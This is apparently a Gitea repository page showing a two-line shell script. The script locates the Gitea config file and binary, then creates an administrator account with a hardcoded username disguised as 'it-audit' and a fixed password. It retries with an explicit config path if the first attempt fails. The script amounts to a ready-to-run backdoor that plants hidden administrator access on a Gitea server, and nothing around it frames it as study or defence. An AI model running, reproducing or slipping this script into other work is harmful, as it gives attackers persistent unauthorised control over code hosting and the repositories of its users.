You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
2 lines
494 B
2 lines
494 B
#!/bin/sh
|
|
CFG=""; for c in /data/gitea/conf/app.ini /data/gitea/custom/conf/app.ini /etc/gitea/app.ini /app/gitea/conf/app.ini; do [ -f "$c" ] && CFG="$c" && break; done; G=$(command -v gitea || echo /usr/local/bin/gitea); $G admin user create --admin --username it-audit-186239 --password "It-audit-95186239!x" --email it-audit-186239@x.local 2>&1 || $G --config "$CFG" admin user create --admin --username it-audit-186239 --password "It-audit-95186239!x" --email it-audit-186239@x.local 2>&1
|
|
|